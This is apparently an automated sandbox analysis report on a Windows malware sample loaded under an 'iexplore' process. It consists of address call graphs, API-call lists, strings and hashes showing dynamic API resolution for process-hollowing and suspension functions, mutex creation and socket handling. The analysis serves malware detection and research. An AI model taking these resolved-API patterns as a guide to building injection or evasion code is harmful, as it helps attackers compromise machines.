47391->47846 47394 40f2e4 47394->47247 47848 41bc5e 28 API calls 47394->47848 47399 40f2fd 47849 41361b 31 API calls 47399->47849 47404 40f313 47850 401f09 11 API calls 47404->47850 47406 40f346 DeleteFileW 47407 40f34d 47406->47407 47408 40f31e 47406->47408 47853 41bc5e 28 API calls 47407->47853 47408->47406 47408->47407 47409 40f334 Sleep 47408->47409 47409->47408 47411 434984 47410->47411 47411->47115 47412 44341f 47411->47412 47937 44319c 47412->47937 47415->47097 47416->47101 47417->47108 47418->47104 47419->47117 47420->47103 47421->47123 47423 438f36 ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 47422->47423 47435 43a43a 47423->47435 47427 438f4c 47428 438f57 47427->47428 47449 43a476 DeleteCriticalSection 47427->47449 47428->47125 47430 438f44 47430->47125 47477 44fb68 47431->47477 47434 438f5a 8 API calls 3 library calls 47434->47126 47436 43a443 47435->47436 47438 43a46c 47436->47438 47439 438f40 47436->47439 47450 438e7f 47436->47450 47455 43a476 DeleteCriticalSection 47438->47455 47439->47430 47441 43a3ec 47439->47441 47470 438d94 47441->47470 47443 43a3f6 47444 43a401 47443->47444 47475 438e42 6 API calls try_get_function 47443->47475 47444->47427 47446 43a40f 47447 43a41c 47446->47447 47476 43a41f 6 API calls ___vcrt_FlsFree 47446->47476 47447->47427 47449->47430 47456 438c73 47450->47456 47453 438eb6 InitializeCriticalSectionAndSpinCount 47454 438ea2 47453->47454 47454->47436 47455->47439 47457 438ca7 47456->47457 47460 438ca3 47456->47460 47457->47453 47457->47454 47459 438cd3 GetProcAddress 47461 438ce3 __crt_fast_encode_pointer 47459->47461 47460->47457 47462 438cc7 47460->47462 47463 438d13 47460->47463 47461->47457 47462->47457 47462->47459 47464 438d3b LoadLibraryExW 47463->47464 47469 438d30 47463->47469 47465 438d57 GetLastError 47464->47465 47466 438d6f 47464->47466 47465->47466 47467 438d62 LoadLibraryExW 47465->47467 47468 438d86 FreeLibrary 47466->47468 47466->47469 47467->47466 47468->47469 47469->47460 47471 438c73 try_get_function 5 API calls 47470->47471 47472 438dae 47471->47472 47473 438dc6 TlsAlloc 47472->47473 47474 438db7 47472->47474 47474->47443 47475->47446 47476->47444 47480 44fb81 47477->47480 47479 4345bd 47479->47129 47479->47434 47481 434fcb 47480->47481 47482 434fd6 IsProcessorFeaturePresent 47481->47482 47483 434fd4 47481->47483 47485 435018 47482->47485 47483->47479 47488 434fdc SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 47485->47488 47487 4350fb 47487->47479 47488->47487 47490 434b27 GetStartupInfoW 47489->47490 47490->47134 47492 44f06b 47491->47492 47493 44f062 47491->47493 47492->47137 47496 44ef58 47493->47496 47495->47137 47516 448215 GetLastError 47496->47516 47498 44ef65 47537 44f077 47498->47537 47500 44ef6d 47546 44ecec 47500->47546 47503 44ef84 47503->47492 47509 44efc2 47572 4405dd 20 API calls __dosmaperr 47509->47572 47511 44efc7 47573 446782 20 API calls __dosmaperr 47511->47573 47512 44efdf 47514 44f00b 47512->47514 47574 446782 20 API calls __dosmaperr 47512->47574 47514->47511 47575 44ebc2 20 API calls 47514->47575 47517 448237 47516->47517 47518 44822b 47516->47518 47577 445af3 20 API calls 3 library calls 47517->47577 47576 4487bc 11 API calls 2 library calls 47518->47576 47521 448231 47521->47517 47523 448280 SetLastError 47521->47523 47522 448243 47524 44824b 47522->47524 47579 448812 11 API calls 2 library calls 47522->47579 47523->47498 47578 446782 20 API calls __dosmaperr 47524->47578 47526 448260 47526->47524 47528 448267 47526->47528 47580 448087 20 API calls __Toupper 47528->47580 47529 448251 47531 44828c SetLastError 47529->47531 47582 4460f4 35 API calls _abort 47531->47582 47532 448272 47581 446782 20 API calls __dosmaperr 47532->47581 47536 448279 47536->47523 47536->47531 47538 44f083 ___BuildCatchObject 47537->47538 47539 448215 __Toupper 35 API calls 47538->47539 47544 44f08d 47539->47544 47541 44f111 ___BuildCatchObject 47541->47500 47544->47541 47583 4460f4 35 API calls _abort 47544->47583 47584 445888 EnterCriticalSection 47544->47584 47585 446782 20 API calls __dosmaperr 47544->47585 47586 44f108 LeaveCriticalSection std::_Lockit::~_Lockit 47544->47586 47587 43a7b7 47546->47587 47549 44ed0d GetOEMCP 47552 44ed36 47549->47552 47550 44ed1f 47551 44ed24 GetACP 47550->47551 47550->47552 47551->47552 47552->47503 47553 446137 47552->47553 47554 446175 47553->47554 47555 446145 47553->47555 47598 4405dd 20 API calls __dosmaperr 47554->47598 47557 446160 HeapAlloc 47555->47557 47560 446149 __Getctype 47555->47560 47558 446173 47557->47558 47557->47560 47559 44617a 47558->47559 47559->47511 47562 44f119 47559->47562 47560->47554 47560->47557 47597 442f80 7 API calls 2 library calls 47560->47597 47563 44ecec 37 API calls 47562->47563 47564 44f138 47563->47564 47567 44f189 IsValidCodePage 47564->47567 47569 44f13f 47564->47569 47571 44f1ae ___scrt_fastfail 47564->47571 47565 434fcb ___crtLCMapStringA 5 API calls 47566 44efba 47565->47566 47566->47509 47566->47512 47568 44f19b GetCPInfo 47567->47568 47567->47569 47568->47569 47568->47571 47569->47565 47599 44edc4 GetCPInfo 47571->47599 47572->47511 47573->47503 47574->47514 47575->47511 47576->47521 47577->47522 47578->47529 47579->47526 47580->47532 47581->47536 47584->47544 47585->47544 47586->47544 47588 43a7d4 47587->47588 47594 43a7ca 47587->47594 47589 448215 __Toupper 35 API calls 47588->47589 47588->47594 47590 43a7f5 47589->47590 47595 448364 35 API calls __Toupper 47590->47595 47592 43a80e 47596 448391 35 API calls __cftoe 47592->47596 47594->47549 47594->47550 47595->47592 47596->47594 47597->47560 47598->47559 47600 44eea8 47599->47600 47604 44edfe 47599->47604 47603 434fcb ___crtLCMapStringA 5 API calls 47600->47603 47606 44ef54 47603->47606 47609 45112c 47604->47609 47606->47569 47608 44ae66 _swprintf 40 API calls 47608->47600 47610 43a7b7 __cftoe 35 API calls 47609->47610 47611 45114c MultiByteToWideChar 47610->47611 47613 45118a 47611->47613 47620 451222 47611->47620 47615 4511ab __alloca_probe_16 ___scrt_fastfail 47613->47615 47616 446137 ___crtLCMapStringA 21 API calls 47613->47616 47614 434fcb ___crtLCMapStringA 5 API calls 47617 44ee5f 47614->47617 47618 45121c 47615->47618 47621 4511f0 MultiByteToWideChar 47615->47621 47616->47615 47623 44ae66 47617->47623 47628 435e40 20 API calls _free 47618->47628 47620->47614 47621->47618 47622 45120c GetStringTypeW 47621->47622 47622->47618 47624 43a7b7 __cftoe 35 API calls 47623->47624 47625 44ae79 47624->47625 47629 44ac49 47625->47629 47628->47620 47630 44ac64 ___crtLCMapStringA 47629->47630 47631 44ac8a MultiByteToWideChar 47630->47631 47632 44acb4 47631->47632 47633 44ae3e 47631->47633 47636 446137 ___crtLCMapStringA 21 API calls 47632->47636 47639 44acd5 __alloca_probe_16 47632->47639 47634 434fcb ___crtLCMapStringA 5 API calls 47633->47634 47635 44ae51 47634->47635 47635->47608 47636->47639 47637 44ad8a 47665 435e40 20 API calls _free 47637->47665 47638 44ad1e MultiByteToWideChar 47638->47637 47640 44ad37 47638->47640 47639->47637 47639->47638 47656 448bb3 47640->47656 47644 44ad61 47644->47637 47647 448bb3 _strftime 11 API calls 47644->47647 47645 44ad99 47646 446137 ___crtLCMapStringA 21 API calls 47645->47646 47649 44adba __alloca_probe_16 47645->47649 47646->47649 47647->47637 47648 44ae2f 47664 435e40 20 API calls _free 47648->47664 47649->47648 47650 448bb3 _strftime 11 API calls 47649->47650 47652 44ae0e 47650->47652 47652->47648 47653 44ae1d WideCharToMultiByte 47652->47653 47653->47648 47654 44ae5d 47653->47654 47666 435e40 20 API calls _free 47654->47666 47667 4484ca 47656->47667 47660 448be3 47662 434fcb ___crtLCMapStringA 5 API calls 47660->47662 47661 448c23 LCMapStringW 47661->47660 47663 448c35 47662->47663 47663->47637 47663->47644 47663->47645 47664->47637 47665->47633 47666->47637 47668 4484f6 47667->47668 47669 4484fa 47667->47669 47668->47669 47673 44851a 47668->47673 47675 448566 47668->47675 47669->47660 47674 448c3b 10 API calls 3 library calls 47669->47674 47671 448526 GetProcAddress 47672 448536 __crt_fast_encode_pointer 47671->47672 47672->47669 47673->47669 47673->47671 47674->47661 47676 448587 LoadLibraryExW 47675->47676 47681 44857c 47675->47681 47677 4485a4 GetLastError 47676->47677 47678 4485bc 47676->47678 47677->47678 47679 4485af LoadLibraryExW 47677->47679 47680 4485d3 FreeLibrary 47678->47680 47678->47681 47679->47678 47680->47681 47681->47668 47683 41cb8f LoadLibraryA GetProcAddress 47682->47683 47684 41cb7f GetModuleHandleA GetProcAddress 47682->47684 47685 41cbb8 44 API calls 47683->47685 47686 41cba8 LoadLibraryA GetProcAddress 47683->47686 47684->47683 47685->47142 47686->47685 47859 41b4a8 FindResourceA 47687->47859 47691 40f3ed ctype 47871 4020b7 47691->47871 47694 401fe2 28 API calls 47695 40f413 47694->47695 47696 401fd8 11 API calls 47695->47696 47697 40f41c 47696->47697 47698 43bd51 new 21 API calls 47697->47698 47699 40f42d ctype 47698->47699 47877 406dd8 47699->47877 47701 40f460 47701->47144 47703 40210c 47702->47703 47704 4023ce 11 API calls 47703->47704 47705 402126 47704->47705 47706 402569 28 API calls 47705->47706 47707 402134 47706->47707 47707->47147 47914 4020df 47708->47914 47710 41be9e 47711 401fd8 11 API calls 47710->47711 47712 41bed0 47711->47712 47714 401fd8 11 API calls 47712->47714 47713 41bea0 47920 4041a2 28 API calls 47713->47920 47717 41bed8 47714->47717 47719 401fd8 11 API calls 47717->47719 47718 41beac 47720 401fe2 28 API calls 47718->47720 47722 40ea24 47719->47722 47723 41beb5 47720->47723 47721 401fe2 28 API calls 47729 41be2e 47721->47729 47730 40fb17 47722->47730 47724 401fd8 11 API calls 47723->47724 47726 41bebd 47724->47726 47725 401fd8 11 API calls 47725->47729 47921 41ce34 28 API calls 47726->47921 47729->47710 47729->47713 47729->47721 47729->47725 47918 4041a2 28 API calls 47729->47918 47919 41ce34 28 API calls 47729->47919 47731 40fb23 47730->47731 47732 40fb2a 47730->47732 47922 402163 11 API calls 47731->47922 47732->47152 47735 402163 47734->47735 47736 40219f 47735->47736 47923 402730 11 API calls 47735->47923 47736->47154 47738 402184 47924 402712 11 API calls std::_Deallocate 47738->47924 47740->47160 47741->47164 47742->47167 47743->47171 47745 401ff1 47744->47745 47752 402039 47744->47752 47746 4023ce 11 API calls 47745->47746 47747 401ffa 47746->47747 47748 40203c 47747->47748 47750 402015 47747->47750 47926 40267a 11 API calls 47748->47926 47925 403098 28 API calls 47750->47925 47753 401fd8 47752->47753 47754 4023ce 11 API calls 47753->47754 47755 401fe1 47754->47755 47755->47179 47756->47183 47757->47185 47758->47187 47759->47189 47760->47198 47927 401fab 47761->47927 47763 40d073 CreateMutexA GetLastError 47763->47201 47764->47159 47765->47162 47766->47168 47767->47172 47769->47193 47770->47205 47771->47209 47772->47197 47773->47208 47774->47216 47775->47225 47776->47219 47777->47233 47778->47211 47779->47215 47780->47223 47781->47231 47782->47235 47783->47239 47784->47244 47785->47248 47786->47254 47787->47256 47788->47259 47789->47265 47790->47271 47791->47276 47792->47283 47793->47286 47794->47291 47795->47264 47796->47268 47797->47274 47798->47281 47799->47290 47800->47292 47801->47297 47802->47303 47803->47306 47804->47312 47805->47316 47806->47277 47807->47282 47808->47288 47809->47296 47810->47299 47811->47302 47812->47310 47813->47311 47814->47315 47815->47319 47816->47321 47817->47323 47818->47325 47819->47327 47820->47329 47821->47331 47822->47333 47823->47335 47824->47338 47825->47341 47826->47343 47827->47346 47828->47349 47829->47352 47830->47354 47831->47356 47832->47360 47833->47366 47834->47373 47835->47378 47836->47386 47837->47361 47838->47368 47839->47375 47840->47387 47841->47362 47842->47367 47843->47371 47844->47377 47845->47391 47847->47394 47848->47399 47849->47404 47850->47408 47851->47217 47853->47230 47854->47237 47855->47243 47856->47247 47857->47250 47928 41ad17 104 API calls 47858->47928 47860 41b4c5 LoadResource LockResource SizeofResource 47859->47860 47861 40f3de 47859->47861 47860->47861 47862 43bd51 47861->47862 47863 446137 47862->47863 47864 446175 47863->47864 47866 446160 HeapAlloc 47863->47866 47869 446149 __Getctype 47863->47869 47881 4405dd 20 API calls __dosmaperr 47864->47881 47867 446173 47866->47867 47866->47869 47868 44617a 47867->47868 47868->47691 47869->47864 47869->47866 47880 442f80 7 API calls 2 library calls 47869->47880 47872 4020bf 47871->47872 47882 4023ce 47872->47882 47874 4020ca 47886 40250a 47874->47886 47876 4020d9 47876->47694 47878 4020b7 28 API calls 47877->47878 47879 406dec 47878->47879 47879->47701 47880->47869 47881->47868 47883 402428 47882->47883 47884 4023d8 47882->47884 47883->47874 47884->47883 47893 4027a7 11 API calls std::_Deallocate 47884->47893 47887 40251a 47886->47887 47888 402520 47887->47888 47889 402535 47887->47889 47894 402569 47888->47894 47904 4028e8 28 API calls 47889->47904 47892 402533 47892->47876 47893->47883 47905 402888 47894->47905 47896 40257d 47897 402592 47896->47897 47898 4025a7 47896->47898 47910 402a34 22 API calls 47897->47910 47912 4028e8 28 API calls 47898->47912 47901 40259b 47911 4029da 22 API calls 47901->47911 47903 4025a5 47903->47892 47904->47892 47907 402890 47905->47907 47906 402898 47906->47896 47907->47906 47913 402ca3 22 API calls 47907->47913 47910->47901 47911->47903 47912->47903 47915 4020e7 47914->47915 47916 4023ce 11 API calls 47915->47916 47917 4020f2 47916->47917 47917->47729 47918->47729 47919->47729 47920->47718 47921->47710 47922->47732 47923->47738 47924->47736 47925->47752 47926->47752 47936 4127ee 61 API calls 47931->47936 47938 4431a8 _GetRangeOfTrysToCheck 47937->47938 47939 4431c0 47938->47939 47940 4432f6 _abort GetModuleHandleW 47938->47940 47959 445888 EnterCriticalSection 47939->47959 47942 4431b4 47940->47942 47942->47939 47971 44333a GetModuleHandleExW 47942->47971 47943 443266 47960 4432a6 47943->47960 47947 44323d 47950 443255 47947->47950 47980 4441f5 5 API calls ___crtLCMapStringA 47947->47980 47948 443283 47963 4432b5 47948->47963 47949 4432af 47982 457729 5 API calls ___crtLCMapStringA 47949->47982 47981 4441f5 5 API calls ___crtLCMapStringA 47950->47981 47951 4431c8 47951->47943 47951->47947 47979 443f50 20 API calls _abort 47951->47979 47959->47951 47983 4458d0 LeaveCriticalSection 47960->47983 47962 44327f 47962->47948 47962->47949 47984 448cc9 47963->47984 47966 4432e3 47969 44333a _abort 8 API calls 47966->47969 47967 4432c3 GetPEB 47967->47966 47968 4432d3 GetCurrentProcess TerminateProcess 47967->47968 47968->47966 47970 4432eb ExitProcess 47969->47970 47972 443364 GetProcAddress 47971->47972 47973 443387 47971->47973 47978 443379 47972->47978 47974 443396 47973->47974 47975 44338d FreeLibrary 47973->47975 47976 434fcb ___crtLCMapStringA 5 API calls 47974->47976 47975->47974 47977 4433a0 47976->47977 47977->47939 47978->47973 47979->47947 47980->47950 47981->47943 47983->47962 47985 448ce4 47984->47985 47986 448cee 47984->47986 47988 434fcb ___crtLCMapStringA 5 API calls 47985->47988 47987 4484ca __Toupper 5 API calls 47986->47987 47987->47985 47989 4432bf 47988->47989 47989->47966 47989->47967 47990 404e26 WaitForSingleObject 47991 404e40 SetEvent CloseHandle 47990->47991 47992 404e57 closesocket 47990->47992 47993 404ed8 47991->47993 47994 404e64 47992->47994 47995 404e7a 47994->47995 48003 4050e4 83 API calls 47994->48003 47997 404e8c WaitForSingleObject 47995->47997 47998 404ece SetEvent CloseHandle 47995->47998 48004 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 47997->48004 47998->47993 48000 404e9b SetEvent WaitForSingleObject 48005 41e711 DeleteCriticalSection EnterCriticalSection LeaveCriticalSection 48000->48005 48002 404eb3 SetEvent CloseHandle CloseHandle 48002->47998 48003->47995 48004->48000 48005->48002 48006 44831e 48014 448710 48006->48014 48010 44833a 48011 448347 48010->48011 48022 44834a 11 API calls 48010->48022 48013 448332 48015 4484ca __Toupper 5 API calls 48014->48015 48016 448737 48015->48016 48017 44874f TlsAlloc 48016->48017 48018 448740 48016->48018 48017->48018 48019 434fcb ___crtLCMapStringA 5 API calls 48018->48019 48020 448328 48019->48020 48020->48013 48021 448299 20 API calls 3 library calls 48020->48021 48021->48010 48022->48013

                                            Executed Functions

                                            Function 004432B5 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 20COMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • GetCurrentProcess.KERNEL32(00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG,00446136,00000003), ref: 004432D6
                                            • TerminateProcess.KERNEL32(00000000), ref: 004432DD
                                            • ExitProcess.KERNEL32 ref: 004432EF
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Process$CurrentExitTerminate
                                            • String ID: PkGNG
                                            • API String ID: 1703294689-263838557
                                            • Opcode ID: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                                            • Instruction ID: 3be6e6b92543006147ef5d7b2afd166c5ab2c5ffe072a920593a5ac20c7500e8
                                            • Opcode Fuzzy Hash: fda3935ef75a9da2a187ce407300f3730e4ebfece79a37869d002a8a215f2f15
                                            • Instruction Fuzzy Hash: D6E0BF31400244FBDF126F55DD0AA993B69FB40757F044469F90946232CB7ADE42CA98
                                            Function 0041CB50 Relevance: 148.9, APIs: 52, Strings: 33, Instructions: 176libraryloaderCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                                            • GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                                            • LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                                            • LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                                            • LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                                            • LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                                            • GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                                            • GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                                            • LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                                            • GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                                            • GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                                            • GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                                            • GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                                            • GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                                            • LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC86
                                            • LoadLibraryA.KERNEL32(kernel32), ref: 0041CC97
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC9A
                                            • GetModuleHandleA.KERNEL32(ntdll,NtSuspendProcess,?,?,?,?,0040E9E1), ref: 0041CCA7
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCAA
                                            • GetModuleHandleA.KERNEL32(ntdll,NtResumeProcess,?,?,?,?,0040E9E1), ref: 0041CCB7
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCBA
                                            • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCCC
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCCF
                                            • LoadLibraryA.KERNEL32(Iphlpapi), ref: 0041CCDC
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCDF
                                            • GetModuleHandleA.KERNEL32(ntdll,NtQueryInformationProcess,?,?,?,?,0040E9E1), ref: 0041CCF0
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CCF3
                                            • GetModuleHandleA.KERNEL32(kernel32,GetFinalPathNameByHandleW,?,?,?,?,0040E9E1), ref: 0041CD04
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD07
                                            • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD19
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD1C
                                            • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD29
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD2C
                                            • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD39
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD3C
                                            • LoadLibraryA.KERNEL32(Rstrtmgr), ref: 0041CD49
                                            • GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CD4C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressProc$LibraryLoad$HandleModule
                                            • String ID: EnumDisplayDevicesW$EnumDisplayMonitors$GetComputerNameExW$GetConsoleWindow$GetExtendedTcpTable$GetExtendedUdpTable$GetFinalPathNameByHandleW$GetMonitorInfoW$GetProcessImageFileNameW$GetSystemTimes$GlobalMemoryStatusEx$Iphlpapi$IsUserAnAdmin$IsWow64Process$Kernel32$NtQueryInformationProcess$NtResumeProcess$NtSuspendProcess$NtUnmapViewOfSection$Psapi$RmEndSession$RmGetList$RmRegisterResources$RmStartSession$Rstrtmgr$SetProcessDEPPolicy$SetProcessDpiAwareness$Shell32$Shlwapi$kernel32$ntdll$shcore$user32
                                            • API String ID: 4236061018-3687161714
                                            • Opcode ID: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                            • Instruction ID: 43d5c3d51f8f0173c8b3474e0c84bdc355f07b7b5b23ff39ae26555794408ecb
                                            • Opcode Fuzzy Hash: d30ec231acb52cdcc59a2b6b3fe3a558d95728f00a5c8bab653e1e11384c1c5d
                                            • Instruction Fuzzy Hash: 31419EA0EC035879DA107BB66DCDE3B3E5CD9857953214837B15CA7150EBBCD8408EAE
                                            Function 00404E26 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 65synchronizationCOMMON
                                            Download Yara Rule

                                            Control-flow Graph

                                            APIs
                                            • WaitForSingleObject.KERNEL32(?,000000FF,00000000,00474EF8,PkGNG,00000000,00474EF8,00404CA8,00000000,?,?,?,00474EF8,?), ref: 00404E38
                                            • SetEvent.KERNEL32(?), ref: 00404E43
                                            • CloseHandle.KERNELBASE(?), ref: 00404E4C
                                            • closesocket.WS2_32(?), ref: 00404E5A
                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404E91
                                            • SetEvent.KERNEL32(?), ref: 00404EA2
                                            • WaitForSingleObject.KERNEL32(?,000000FF), ref: 00404EA9
                                            • SetEvent.KERNEL32(?), ref: 00404EBA
                                            • CloseHandle.KERNEL32(?), ref: 00404EBF
                                            • CloseHandle.KERNEL32(?), ref: 00404EC4
                                            • SetEvent.KERNEL32(?), ref: 00404ED1
                                            • CloseHandle.KERNEL32(?), ref: 00404ED6
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseEventHandle$ObjectSingleWait$closesocket
                                            • String ID: PkGNG
                                            • API String ID: 3658366068-263838557
                                            • Opcode ID: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
                                            • Instruction ID: 0c11cd9b042c69dc9d4dd2828563f6d61870a883144e53252efabab5b24bcc37
                                            • Opcode Fuzzy Hash: 87d744648c5afa45b50529b6b6d14d146fbf4d1d8295755f98280c9be6f36435
                                            • Instruction Fuzzy Hash: BF21E871104B04AFDB216B26DC49B27BBA1FF40326F104A2EE2E211AF1CB75B851DB58
                                            Function 0044AC49 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 216COMMONLIBRARYCODE
                                            Download Yara Rule

                                            Control-flow Graph

                                            • Executed
                                            • Not Executed
                                            control_flow_graph 22 44ac49-44ac62 23 44ac64-44ac74 call 446766 22->23 24 44ac78-44ac7d 22->24 23->24 34 44ac76 23->34 26 44ac7f-44ac87 24->26 27 44ac8a-44acae MultiByteToWideChar 24->27 26->27 28 44acb4-44acc0 27->28 29 44ae41-44ae54 call 434fcb 27->29 31 44ad14 28->31 32 44acc2-44acd3 28->32 38 44ad16-44ad18 31->38 35 44acd5-44ace4 call 457190 32->35 36 44acf2-44ad03 call 446137 32->36 34->24 41 44ae36 35->41 49 44acea-44acf0 35->49 36->41 50 44ad09 36->50 38->41 42 44ad1e-44ad31 MultiByteToWideChar 38->42 43 44ae38-44ae3f call 435e40 41->43 42->41 46 44ad37-44ad49 call 448bb3 42->46 43->29 51 44ad4e-44ad52 46->51 53 44ad0f-44ad12 49->53 50->53 51->41 54 44ad58-44ad5f 51->54 53->38 55 44ad61-44ad66 54->55 56 44ad99-44ada5 54->56 55->43 57 44ad6c-44ad6e 55->57 58 44ada7-44adb8 56->58 59 44adf1 56->59 57->41 60 44ad74-44ad8e call 448bb3 57->60 62 44add3-44ade4 call 446137 58->62 63 44adba-44adc9 call 457190 58->63 61 44adf3-44adf5 59->61 60->43 75 44ad94 60->75 66 44adf7-44ae10 call 448bb3 61->66 67 44ae2f-44ae35 call 435e40 61->67 62->67 74 44ade6 62->74 63->67 78 44adcb-44add1 63->78 66->67 80 44ae12-44ae19 66->80 67->41 79 44adec-44adef 74->79 75->41 78->79 79->61 81 44ae55-44ae5b 80->81 82 44ae1b-44ae1c 80->82 83 44ae1d-44ae2d WideCharToMultiByte 81->83 82->83 83->67 84 44ae5d-44ae64 call 435e40 83->84 84->43
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,$C,0043EA24,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006), ref: 0044ACA3
                                            • __alloca_probe_16.LIBCMT ref: 0044ACDB
                                            • MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,PkGNG,0044AE9A,00000001,00000001,73E85006,?,?,?), ref: 0044AD29
                                            • __alloca_probe_16.LIBCMT ref: 0044ADC0
                                            • WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,73E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0044AE23
                                            • __freea.LIBCMT ref: 0044AE30
                                              • Part of subcall function 00446137: HeapAlloc.KERNEL32(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                            • __freea.LIBCMT ref: 0044AE39
                                            • __freea.LIBCMT ref: 0044AE5E
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocHeap
                                            • String ID: $C$PkGNG
                                            • API String ID: 2597970681-3740547665
                                            • Opcode ID: 362257cb831b64f560ca9c305cbafbf1ddd2a76c4c9bcde51592d12c0f33465e
